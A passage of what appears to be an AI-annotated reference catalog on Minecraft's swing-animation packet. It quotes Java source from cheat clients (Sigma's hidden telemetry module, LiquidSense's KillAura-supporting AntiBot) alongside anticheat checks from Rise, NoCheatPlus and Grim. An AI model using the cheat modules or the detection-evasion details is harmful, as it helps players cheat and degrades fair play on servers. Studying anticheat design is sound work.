(S13PacketDestroyEntities) packet;\n                for (int entityId : packetDestroyEntities.func_149098_c()) {\n                    onEntityRemoved(entityId);\n                }\n            } else if (packet instanceof S40PacketDisconnect) {\n                S40PacketDisconnect packetDisconnect = (S40PacketDisconnect) packet;\n                if (packetDisconnect.func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") && Minecraft.getMinecraft().thePlayer != null && Minecraft.getMinecraft().thePlayer.ticksExisted > 15 * 20) {\n                    sendStat(\"ban\", \"\");\n                }\n            }\n        } else if (e instanceof EventUpdate) {\n            if (delay.delay(1000 * 60 * 10)) {\n                delay.reset();\n                sendStat(\"tick\", \"\");\n            }\n        }\n    }\n\n    private void onDeath() {\n        Iterator it2 = prosecutorEntities.entrySet().iterator();\n        while (it2.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000) {\n                if (hitEntity.onRemoved()) {\n                    it2.remove();\n                }\n            }\n        }\n    }\n\n    private void onEntityRemoved(int entityId) {\n        Iterator it = hitEntities.entrySet().iterator();\n        while (it.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && entityId == hitEntity.getEntityId()) {\n                if (hitEntity.onRemoved()) {\n                    it.remove();\n                }\n            }\n        }\n    }\n\n    public void sendStat(String type, String data) {\n\n    }\n\n    private class HitEntity {\n        private long time = System.currentTimeMillis();\n        private UUID uuid;\n        private String name;\n        private int entityId;\n        private boolean removed = false;\n        private boolean chatMessage = false;\n        private boolean prosecutor = false;\n\n        public HitEntity(EntityPlayer ep) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n        }\n\n        public HitEntity(EntityPlayer ep, boolean prosecutor) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n            this.prosecutor = prosecutor;\n        }\n\n        public boolean onRemoved() {\n            removed = true;\n            if (chatMessage) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        public boolean onChatMessage() {\n            chatMessage = true;\n            if (removed) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        private void killed() {\n            //ChatUtil.printChat(\"Kill (\" + name + \") \" + uuid.toString());\n            sendStat(\"kill\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n\n        public void refresh() {\n            time = System.currentTimeMillis();\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public long getTime() {\n            return time;\n        }\n\n        public int getEntityId() {\n            return entityId;\n        }\n\n        public void prosecuted() {\n            //ChatUtil.printChat(\"Prosecuted (\" + name + \") \" + uuid.toString());\n            sendStat(\"death\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n    }\n}\n// NOTE (AI): Sigma's hidden telemetry module. S0B swing packets are timestamped per entity id; when S06PacketUpdateHealth shows the local player losing health, any player whose swing is under 70 ms old and within 9 blocks is registered as a prosecutor (attacker). Deaths are attributed through chat messages, S18 teleports and S13 destroy-entities finalize kill and death records, and S08 is treated as a respawn that resets the prosecutor list. The sendStat() bodies are empty in this build, so the HTTP kill-reporting was stripped, but the 70 ms swing-window attribution is intact and is the only combat-logging use of S0B in the corpus.",
      "code_source": "Sigma 4.11 - info/sigmaclient/module/impl/other/Ranking.java",
      "vanilla_hook": "EventPacket (S0B, S06, S08, S18, S13, S02, S40), EventAttack, EventUpdate.",
      "anti_cheat_notes": "The 70 ms swing window is a real combat-logging heuristic: it attributes damage to the swing that caused it. The module is hidden and auto-enables, so it runs silently on every Sigma user.",
      "variations": "No other client in the corpus attributes deaths via S0B; Rise's anticheat checks are the closest analogue."
     },
     {
      "name": "AutoClickerA (client anticheat)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Rise's own client-side autoclicker check: verify that the local player's swings are consistent with its movement packet stream.",
      "how_it_works": "Counts S0B packets whose entity id is the local player, then on each relative-move packet compares the count: more than 3 swings per movement packet with a warmed buffer fails the check; otherwise the buffer decays after one second.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/anticheat/check/impl/combat/autoclicker/AutoClickerA.java =====\npackage dev.rise.anticheat.check.impl.combat.autoclicker;\n\nimport dev.rise.anticheat.check.Check;\nimport dev.rise.anticheat.check.api.CheckInfo;\nimport dev.rise.anticheat.data.PlayerData;\nimport dev.rise.anticheat.util.PacketUtil;\nimport dev.rise.util.math.TimeUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\n\n@CheckInfo(name = \"AutoClicker\", type = \"A\", description = \"Detects clicking too fast\")\npublic final class AutoClickerA extends Check {\n\n    private final TimeUtil timer = new TimeUtil();\n    private int swings;\n\n    public AutoClickerA(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final Packet<?> packet) {\n        if (packet instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation wrapper = (S0BPacketAnimation) packet;\n            if (wrapper.getEntityID() == data.getPlayer().getEntityId())\n                swings++;\n        }\n\n        if (PacketUtil.isRelMove(packet)) {\n            if (swings > 3) {\n                if (getBuffer() >= 3)\n                    fail();\n\n                increaseBuffer();\n                timer.reset();\n            } else if (timer.hasReached(1000L)) {\n                decreaseBuffer();\n                timer.reset();\n            }\n\n            swings = 0;\n        }\n    }\n}\n// NOTE (AI): Not a cheat module: this is Rise 5.99's own client-side anticheat. The check counts S0B swing packets whose entity id is the local player and compares them against relative-move packets: more than 3 swings per movement packet with a warmed buffer fails the AutoClicker check. It demonstrates that S0B is the swing ground truth the whole ecosystem, cheats and anti-cheats alike, keys on. KeepSprintA is the sibling check in the same package, coupling swings to sprint state to catch keepsprint cheats.",
      "code_source": "Rise 5.99 - dev/rise/anticheat/check/impl/combat/autoclicker/AutoClickerA.java",
      "vanilla_hook": "Check.handle on the packet pipeline (S0B and relative-move packets).",
      "anti_cheat_notes": "The check measures the cheat's own users, not the server's: a user autoclicker that produces swings faster than the movement stream is flagged locally. KeepSprintA is the sibling check coupling swings to sprint state.",
      "variations": "Rise 5.99 also ships KeepSprintA in the same anticheat package; no other client ships an internal anticheat that reads S0B."
     },
     {
      "name": "AntiBot (swing telemetry)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Feed S0B swing events into the bot detector: entities that never produce a type-0 swing become bot candidates.",
      "how_it_works": "The onPacket handler checks the packet class, reads the animation entity id and appends it to a swing list when the type byte is 0. The static isBot() consult used by KillAura and other modules flags an entity when the Swing setting is enabled and the id is absent from the swing list. The same handler tracks S14 relative moves for ground and air state, and the list is cleared only on world change or module disable.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.misc;\n\nimport com.google.common.collect.ComparisonChain;\nimport com.google.common.collect.Ordering;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.EntityUtils;\nimport net.ccbluex.liquidbounce.utils.misc.StringUtils;\nimport net.ccbluex.liquidbounce.utils.render.ColorUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimerOther;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.scoreboard.ScorePlayerTeam;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.world.WorldSettings;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport tv.twitch.chat.ChatEvent;\n\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n@ModuleInfo(name = \"AntiBot\", description = \"Prevents KillAura from attacking AntiCheat bots.\", category = ModuleCategory.MISC)\npublic class AntiBot extends Module {\n\n    public static final List<String> playerName = new ArrayList<>();\n    private static List<EntityPlayer> invalid = new ArrayList<>();\n    private static List<EntityPlayer> removed = new ArrayList<>();\n\n    private final IntegerValue livingTime = new IntegerValue(\"LivingTimeValue\", 160, 0, 500);\n    private final BoolValue killer = new BoolValue(\"BotKiller\", true);\n    private final BoolValue tabValue = new BoolValue(\"Tab\", true);\n    private final ListValue tabModeValue = new ListValue(\"TabMode\", new String[]{\"Equals\", \"Contains\"}, \"Contains\");\n    private final BoolValue entityIDValue = new BoolValue(\"EntityID\", true);\n    private final BoolValue colorValue = new BoolValue(\"Color\", false);\n    private final BoolValue livingTimeValue = new BoolValue(\"LivingTime\", false);\n    private final BoolValue groundValue = new BoolValue(\"Ground\", true);\n    private final BoolValue airValue = new BoolValue(\"Air\", false);\n    private final BoolValue invaildGroundValue = new BoolValue(\"InvaildGround\", true);\n    private final BoolValue swingValue = new BoolValue(\"Swing\", false);\n    private final BoolValue healthValue = new BoolValue(\"Health\", false);\n    private final BoolValue derpValue = new BoolValue(\"Derp\", true);\n    private final BoolValue wasInvisibleValue = new BoolValue(\"WasInvisible\", false);\n    private final BoolValue armorValue = new BoolValue(\"Armor\", false);\n    private final BoolValue pingValue = new BoolValue(\"Ping\", false);\n    private final BoolValue needHitValue = new BoolValue(\"NeedHit\", false);\n    private final BoolValue duplicateInWorldValue = new BoolValue(\"DuplicateInWorld\", false);\n    private final BoolValue duplicateInTabValue = new BoolValue(\"DuplicateInTab\", false);\n    private final BoolValue hytBedwarsValue = new BoolValue(\"HYTBedwars\", false);\n\n    private final List<Integer> ground = new ArrayList<>();\n    private final List<Integer> air = new ArrayList<>();\n    private final Map<Integer, Integer> invaildGround = new HashMap<>();\n    private final List<Integer> swing = new ArrayList<>();\n    private final List<Integer> invisible = new ArrayList<>();\n    private final List<Integer> hitted = new ArrayList<>();\n    TimerOther lastRemoved = new TimerOther();\n    private TimerOther timer = new TimerOther();\n\n    @Override\n    public void onDisable() {\n        mc.ingameGUI.getChatGUI().addToSentMessages(\"test\");\n        clearAll();\n        super.onDisable();\n    }\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        if (killer.get()) {\n            if (!removed.isEmpty()) {\n                if (lastRemoved.delay(1000)) {\n                    if (removed.size() == 1) {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§b\"+removed.size() + \" bot has been removed\"));\n                    } else {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§f\"+removed.size() + \" bots has been removed\"));\n                    }\n                    lastRemoved.reset();\n                    removed.clear();\n                }\n            }\n        }\n        if (!invalid.isEmpty() && timer.delay(1000)) {\n            invalid.clear();\n            timer.reset();\n        }\n        // Loop through entity list\n        for (Object o : mc.theWorld.getLoadedEntityList()) {\n            if (o instanceof EntityPlayer) {\n                EntityPlayer ent = (EntityPlayer) o;\n                //Make sure it's not the local player + they are in a worrying distance. Ignore them if they're already invalid.\n                if (ent != mc.thePlayer && !invalid.contains(ent)) {\n\n                    String formated = ent.getDisplayName().getFormattedText();\n                    String custom = ent.getCustomNameTag();\n                    String name = ent.getName();\n\n                    if (ent.isInvisible() && !formated.startsWith(\"§c\") && formated.endsWith(\"§r\") && custom.equals(name)) {\n                        double diffX = Math.abs(ent.posX - mc.thePlayer.posX);\n                        double diffY = Math.abs(ent.posY - mc.thePlayer.posY);\n                        double diffZ = Math.abs(ent.posZ - mc.thePlayer.posZ);\n                        double diffH = Math.sqrt(diffX * diffX + diffZ * diffZ);\n                        if (diffY < 13 && diffY > 10 && diffH < 3) {\n                            List<EntityPlayer> list = getTabPlayerList();\n                            if (!list.contains(ent)) {\n                                if (killer.get() != null) {\n                                    lastRemoved.reset();\n                                    removed.add(ent);\n                                    mc.theWorld.removeEntity(ent);\n                                }\n                                invalid.add(ent);\n                            }\n\n                        }\n\n                    }\n                    //SHOP BEDWARS\n                    if (!formated.startsWith(\"§\") && formated.endsWith(\"§r\")) {\n                        invalid.add(ent);\n                    }\n                    if (ent.isInvisible()) {\n                        //BOT INVISIBLES IN GAME\n                        if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c§c\") && name.contains(\"§c\")) {\n                            if (killer.get() != null) {\n                                lastRemoved.reset();\n                                removed.add(ent);\n                                mc.theWorld.removeEntity(ent);\n                            }\n                            invalid.add(ent);\n                        }\n                    }\n                    //WATCHDOG BOT\n                    if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c\") && custom.toLowerCase().contains(\"§r\") || custom.endsWith(\"§c\")) {\n                        if (killer.get() != null) {\n                            lastRemoved.reset();\n                            removed.add(ent);\n                            mc.theWorld.removeEntity(ent);\n                        }\n                        invalid.add(ent);\n                    }\n\n                    //BOT LOBBY\n                    if (formated.contains(\"§8[NPC]\")) {\n                        invalid.add(ent);\n                    }\n                    if (!formated.contains(\"§c\") && !custom.equalsIgnoreCase(\"\")) {\n\n                        invalid.add(ent);\n                    }\n                }\n            }\n        }\n    }\n\n    public static List<EntityPlayer> getTabPlayerList() {\n        Minecraft mc = AntiBot.mc;\n        NetHandlerPlayClient var4 = mc.thePlayer.sendQueue;\n        ArrayList list = new ArrayList();\n        List players = Ordering.from(new PlayerComparator()).sortedCopy((Iterable) var4.getPlayerInfoMap());\n        for (Object o : players) {\n            NetworkPlayerInfo info = (NetworkPlayerInfo) o;\n            if (info == null) {\n                continue;\n            }\n            ArrayList list2 = list;\n            list2.add(mc.theWorld.getPlayerEntityByName(info.getGameProfile().getName()));\n        }\n        return (List<EntityPlayer>) list;\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if (mc.thePlayer == null || mc.theWorld == null)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n\n        if (packet instanceof S02PacketChat) {\n            if (hytBedwarsValue.get()) {\n                S02PacketChat chatMessage = (S02PacketChat) packet;\n\n                Matcher matcher = Pattern.compile(\"杀死了 (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                Matcher matcher2 = Pattern.compile(\"> (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                if (matcher.find()) {\n                    String name = matcher.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n                if (matcher2.find()) {\n                    String name = matcher2.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n            }\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            final S14PacketEntity packetEntity = (S14PacketEntity) event.getPacket();\n            final Entity entity = packetEntity.getEntity(mc.theWorld);\n\n            if (entity instanceof EntityPlayer) {\n                if (packetEntity.getOnGround() && !ground.contains(entity.getEntityId()))\n                    ground.add(entity.getEntityId());\n\n                if (!packetEntity.getOnGround() && !air.contains(entity.getEntityId()))\n                    air.add(entity.getEntityId());\n\n                if (packetEntity.getOnGround()) {\n                    if (entity.prevPosY != entity.posY)\n                        invaildGround.put(entity.getEntityId(), invaildGround.getOrDefault(entity.getEntityId(), 0) + 1);\n                } else {\n                    final int currentVL = invaildGround.getOrDefault(entity.getEntityId(), 0) / 2;\n\n                    if (currentVL <= 0)\n                        invaildGround.remove(entity.getEntityId());\n                    else\n                        invaildGround.put(entity.getEntityId(), currentVL);\n                }\n\n                if (entity.isInvisible() && !invisible.contains(entity.getEntityId()))\n                    invisible.add(entity.getEntityId());\n            }\n        }\n\n        if (packet instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation packetAnimation = (S0BPacketAnimation) event.getPacket();\n            final Entity entity = mc.theWorld.getEntityByID(packetAnimation.getEntityID());\n\n            if (entity instanceof EntityLivingBase && packetAnimation.getAnimationType() == 0 && !swing.contains(entity.getEntityId()))\n                swing.add(entity.getEntityId());\n        }\n    }\n\n    @EventTarget\n    public void onAttack(final AttackEvent e) {\n        final Entity entity = e.getTargetEntity();\n\n        if (entity instanceof EntityLivingBase && !hitted.contains(entity.getEntityId()))\n            hitted.add(entity.getEntityId());\n    }\n\n    @EventTarget\n    public void onWorld(final WorldEvent event) {\n        clearAll();\n    }\n\n    private void clearAll() {\n        hitted.clear();\n        swing.clear();\n        ground.clear();\n        invaildGround.clear();\n        invisible.clear();\n        playerName.clear();\n    }\n\n    public static boolean isBot(final EntityLivingBase entity) {\n        if (!(entity instanceof EntityPlayer))\n            return false;\n\n        final AntiBot antiBot = (AntiBot) LiquidBounce.moduleManager.getModule(AntiBot.class);\n\n//        mc.ingameGUI.getChatGUI().addToSentMessages(\"tick: \" + entity.ticksExisted);\n\n        if (antiBot == null || !antiBot.getState())\n            return false;\n        if (antiBot.colorValue.get() && !entity.getDisplayName().getFormattedText()\n                .replace(\"§r\", \"\").contains(\"§\"))\n            return true;\n\n//        mc.thePlayer.addChatMessage(new ChatComponentText(entity.getName()\n//                + \" \" + playerName.contains(entity.getName())\n//                + \" \" + playerName.size()));\n        if (antiBot.hytBedwarsValue.get() && playerName.contains(entity.getName()))\n            return true;\n\n        if (antiBot.livingTimeValue.get() && entity.ticksExisted < antiBot.livingTime.get())\n            return true;\n\n        if (antiBot.groundValue.get() && !antiBot.ground.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.airValue.get() && !antiBot.air.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.swingValue.get() && !antiBot.swing.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.healthValue.get() && entity.getHealth() > 20F)\n            return true;\n\n        if (antiBot.entityIDValue.get() && (entity.getEntityId() >= 1000000000 || entity.getEntityId() <= -1))\n            return true;\n\n        if (antiBot.derpValue.get() && (entity.rotationPitch > 90F || entity.rotationPitch < -90F))\n            return true;\n\n        if (antiBot.wasInvisibleValue.get() && antiBot.invisible.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.armorValue.get()) {\n            final EntityPlayer player = (EntityPlayer) entity;\n\n            if (player.inventory.armorInventory[0] == null && player.inventory.armorInventory[1] == null &&\n                    player.inventory.armorInventory[2] == null && player.inventory.armorInventory[3] == null)\n                return true;\n        }\n\n        if (antiBot.pingValue.get()) {\n            EntityPlayer player = (EntityPlayer) entity;\n\n            if (mc.getNetHandler().getPlayerInfo(player.getUniqueID()).getResponseTime() == 0)\n                return true;\n        }\n\n        if (antiBot.needHitValue.get() && !antiBot.hitted.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.invaildGroundValue.get() && antiBot.invaildGround.getOrDefault(entity.getEntityId(), 0) >= 10)\n            return true;\n\n        if (antiBot.tabValue.get()) {\n            final boolean equals = antiBot.tabModeValue.get().equalsIgnoreCase(\"Equals\");\n            final String targetName = ColorUtils.stripColor(entity.getDisplayName().getFormattedText());\n\n            if (targetName != null) {\n                for (final NetworkPlayerInfo networkPlayerInfo : mc.getNetHandler().getPlayerInfoMap()) {\n                    final String networkName = ColorUtils.stripColor(EntityUtils.getName(networkPlayerInfo));\n\n                    if (networkName == null)\n                        continue;\n\n                    if (equals ? targetName.equals(networkName) : targetName.contains(networkName))\n                        return false;\n                }\n\n                return true;\n            }\n        }\n\n        if (antiBot.duplicateInWorldValue.get()) {\n            if (mc.theWorld.loadedEntityList.stream()\n                    .filter(currEntity -> currEntity instanceof EntityPlayer && ((EntityPlayer) currEntity)\n                            .getDisplayNameString().equals(((EntityPlayer) currEntity).getDisplayNameString()))\n                    .count() > 1)\n                return true;\n        }\n\n        if (antiBot.duplicateInTabValue.get()) {\n            if (mc.getNetHandler().getPlayerInfoMap().stream()\n                    .filter(networkPlayer -> entity.getName().equals(ColorUtils.stripColor(EntityUtils.getName(networkPlayer))))\n                    .count() > 1)\n                return true;\n        }\n\n        return entity.getName().isEmpty() || entity.getName().equals(mc.thePlayer.getName());\n    }\n\n    @SideOnly(Side.CLIENT)\n    public static class PlayerComparator implements Comparator<NetworkPlayerInfo> {\n        private PlayerComparator() {\n        }\n\n        public int compare(NetworkPlayerInfo p_compare_1_, NetworkPlayerInfo p_compare_2_) {\n            ScorePlayerTeam scoreplayerteam = p_compare_1_.getPlayerTeam();\n            ScorePlayerTeam scoreplayerteam1 = p_compare_2_.getPlayerTeam();\n            return ComparisonChain.start()\n                    .compareTrueFirst(p_compare_1_.getGameType() != WorldSettings.GameType.SPECTATOR,\n                            p_compare_2_.getGameType() != WorldSettings.GameType.SPECTATOR)\n                    .compare(scoreplayerteam != null ? scoreplayerteam.getRegisteredName() : \"\",\n                            scoreplayerteam1 != null ? scoreplayerteam1.getRegisteredName() : \"\")\n                    .compare(p_compare_1_.getGameProfile().getName(), p_compare_2_.getGameProfile().getName()).result();\n        }\n    }\n}\n// NOTE (AI): LiquidSense's AntiBot consumes S0B as bot-detection telemetry. The onPacket handler (lines 276-282) records every type-0 animation's entity id into the swing list, and the static isBot() check consults that list when the Swing setting is enabled: an entity that has never swung is flagged. The same handler tracks S14 relative moves for ground and air state, which feed the Ground and Air bot checks. The swing recording is append-only per entity id and cleared only on world change or module disable, so an entity that swings once is never re-flagged. This is the only packet-level telemetry in the module; the rest of the detection runs on the per-tick entity list scan in onUpdate, which removes flagged bots from the world when BotKiller is on.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java",
      "vanilla_hook": "PacketEvent (onPacket), UpdateEvent (entity list scan).",
      "anti_cheat_notes": "None: S0B is clientbound and the module only reads it. The bot veto is client-side; the server never sees it.",
      "variations": "Rise 5.99's AutoClickerA is the only other corpus module that counts swings, and it measures the local player instead of other entities."
     }
    ],
    "general_hooks": "PacketReceiveEvent on every client; Rise 5.99 additionally feeds S0B to its internal anticheat checks before modules.",
    "client_variations": "Sigma and Spicy read the type byte and entity id off the packet object; Rise 6.x uses event listeners with priorities; Rise 5.99 anticheat checks sit on a separate check pipeline from modules. LiquidSense Dev tracks swings inside its AntiBot module on the PacketEvent bus; Rise 5.99's anticheat checks are the only other swing counters in the corpus.",
    "related": [
     "S0APacketUseBed",
     "S06PacketUpdateHealth",
     "S42PacketCombatEvent",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "S0B is the server-to-client animation broadcast, and the swing type (0) is the only animation a player emits at click rate, which makes it the one reliable signal that another player is attacking. Server-side anticheats cannot read the client's own swing inside S0B because it is outbound, so the swing checks in this corpus consume the inbound arm-animation packet (C0A, PacketPlayInArmAnimation) that the client sends on every left click, plus the outbound S0B on the few checks that listen on the send side. The corpus splits into no-swing validators (NCP fight NoSwing, Grim NoSwingBreak, ThotPatrol NoSwingA, MIU NoSwing), autoclicker statistics over the swing stream (Frequency AutoClickerA, Hydro AutoClickerA-D, Kauri AutoclickerA-D, Artemis AutoClickerA-M, Salmon SwingA), and packet-order rules that demand a swing after every attack (Grim Post and PacketOrderB, Photon PacketAnalysisAnimation, Truthful PacketOrderA/D).",
     "checks": [
      {
       "name": "NoSwing (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Require an arm swing between attacks so that damage without the arm-animation packet is flagged.",
       "how_it_works": "FightListener invokes check() on the Bukkit PlayerAnimationEvent that mirrors the inbound arm-animation packet. A counter increments per attack: when a swing arrives first, the violation level decays by a factor of 0.9; when an attack arrives without a swing, 1 violation level is added and the configured actions run, cancelling the attack once the threshold is crossed.",
       "detects": "Killaura and no-swing modules that attack without sending the arm animation.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/fight/NoSwing.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.fight;\n\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\n\n/**\n * We require that the player moves their arm between attacks, this is basically what gets checked here.\n */\npublic class NoSwing extends Check {\n\n    /**\n     * Instantiates a new no swing check.\n     */\n    public NoSwing() {\n        super(CheckType.FIGHT_NOSWING);\n    }\n\n    /**\n     * Checks a player.\n     * \n     * @param player\n     *            the player\n     * @return true, if successful\n     */\n    public boolean check(final Player player, final FightData data, final FightConfig cc) {\n        boolean cancel = false;\n\n        if (data.exemptArmSwing) {\n            data.exemptArmSwing = false;\n        }\n        // Did they swing his arm before?\n        else if (++data.noSwingCount <= 1) {\n            // Yes, reward them with reduction of their violation level.\n            data.noSwingVL *= 0.9D;\n        } \n        else {\n            data.noSwingCount = 0;\n            // No, increase their violation level.\n            data.noSwingVL += 1D;\n\n            // Execute whatever actions are associated with this check and the violation level and find out if we should\n            // cancel the event.\n            cancel = executeActions(player, data.noSwingVL, 1D, cc.noSwingActions).willCancel();\n        }\n\n        return cancel;\n    } \n\n}\n// NOTE (AI): NCP runs the same NoSwing pattern for block break and block place; this combat instance is fed from PlayerAnimationEvent, so the swing requirement is enforced per attack.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/fight/NoSwing.java",
       "variations": "NCP repeats the same check for blockbreak and blockplace; Arc (Vrekt-Arc) generalizes it as AbstractBlockNoSwingCheck plus a combat NoSwing and a network-level SwingFrequency; MIU ships NoSwing and NoSwingA; ThotPatrol NoSwingA counts swings between attacks; Intave folds swing order into combat heuristics (NoSwingHeuristic, PacketOrderSwingHeuristic)."
      },
      {
       "name": "NoSwingBreak (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Verify that a swing animation accompanies block digging, flagging diggers that never swing.",
       "how_it_works": "Registers as both a BlockBreakListener and a PreViaPacketReceiveListener. onBlockBreak sets sentBreak for any dig action that is not a cancel; onPreViaPacketReceive sets sentAnimation when Play.Client.ANIMATION arrives; on the next tick packet the check flags if a break was recorded without an animation. Both flags reset every tick, so the swing must land inside the same tick as the dig start. The check is marked experimental.",
       "detects": "Nuker and fast-break modules that dig while suppressing the swing packet.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/NoSwingBreak.java =====\npackage ac.grim.grimac.checks.impl.breaking;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.BlockBreakListener;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockBreak;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\n\n@CheckData(name = \"NoSwingBreak\", stableKey = \"grim.breaking.no_swing_break\", description = \"Did not swing while breaking block\", experimental = true)\npublic class NoSwingBreak extends Check implements BlockBreakListener, PreViaPacketReceiveListener {\n    private boolean sentAnimation;\n    private boolean sentBreak;\n\n    public NoSwingBreak(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onBlockBreak(BlockBreak blockBreak) {\n        if (blockBreak.action != DiggingAction.CANCELLED_DIGGING) {\n            sentBreak = true;\n        }\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.ANIMATION) {\n            sentAnimation = true;\n        }\n\n        if (isTickPacket(event.getPacketType())) {\n            if (sentBreak && !sentAnimation) {\n                flag();\n            }\n\n            sentAnimation = sentBreak = false;\n        }\n    }\n}\n// NOTE (AI): Grim's Post check covers the inverse relationship on the outbound side: it reads the server's entity-animation packet 